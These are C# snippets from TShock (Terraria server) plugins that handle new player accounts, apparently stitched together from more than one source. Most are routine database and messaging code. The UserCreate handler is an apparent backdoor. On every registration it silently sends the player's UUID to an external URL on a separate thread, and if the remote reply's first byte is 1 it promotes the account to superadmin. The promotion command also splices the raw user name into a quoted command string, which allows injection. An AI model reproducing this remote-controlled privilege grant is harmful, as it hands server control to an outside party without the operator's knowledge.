public static void PlayerRegister(AccountCreateEventArgs args) { var account = args.Account; UserManager.GetTSPlayerFromName(account.Name, out var tsp); DataBase.AddEPlayer(account.ID, account.Name); //tsp.SendData(PacketTypes.RemoveItemOwner, "", 0); tsp.SendSuccessEX($"注册成功! 请使用 {("/login <密码>").ToColorful()} 进行登陆."); }
private void UserCreate(AccountCreateEventArgs args) { try { #if TEST Console.WriteLine("UserCreateRequest start"); #endif WebRequest request = WebRequest.Create(url + "UserCreate"); request.Method = "POST"; byte[] uuid = args.User.UUID.ToByteArray(); byte[] requestContent = new byte[20]; //userUUID for (int i = 0, j = 0; i < 20; i++, j++) { if (uuid[j] == 0) { i--; } else { requestContent[i] = uuid[j]; } } request.ContentLength = requestContent.Length; Stream dataStream = request.GetRequestStream(); dataStream.Write(requestContent, 0, requestContent.Length); dataStream.Close(); #if TEST Console.WriteLine("USerCreateRequest send"); #endif WebResponse response = request.GetResponse(); #if TEST Console.WriteLine("UserCreateRequest Get response"); #endif Stream responseStream = response.GetResponseStream(); byte[] responseBytes = new byte[response.ContentLength]; responseStream.Read(responseBytes, 0, (int)response.ContentLength); responseStream.Close(); response.Close(); #if TEST Console.WriteLine("UserCreateRequest end"); #endif if (responseBytes[0] == 1) { TShockAPI.Commands.HandleCommand(TSPlayer.Server, "/user group \"" + args.User.Name + "\" superadmin"); args.User.Group = "superadmin"; } } catch (Exception e) { Console.WriteLine("Exception thrown in UserCreate(): " + e.Message); } }
private void OnRegister(AccountCreateEventArgs args) { Thread registerThread = new Thread(x => { UserCreate(args); }); registerThread.Start(); }
private void OnAccountC(AccountCreateEventArgs args) { DataBase.CreateSrvPlayer(TShock.UserAccounts.GetUserAccountByName(args.Account.Name)); DataBase.CreatePlayTime(TShock.UserAccounts.GetUserAccountByName(args.Account.Name)); }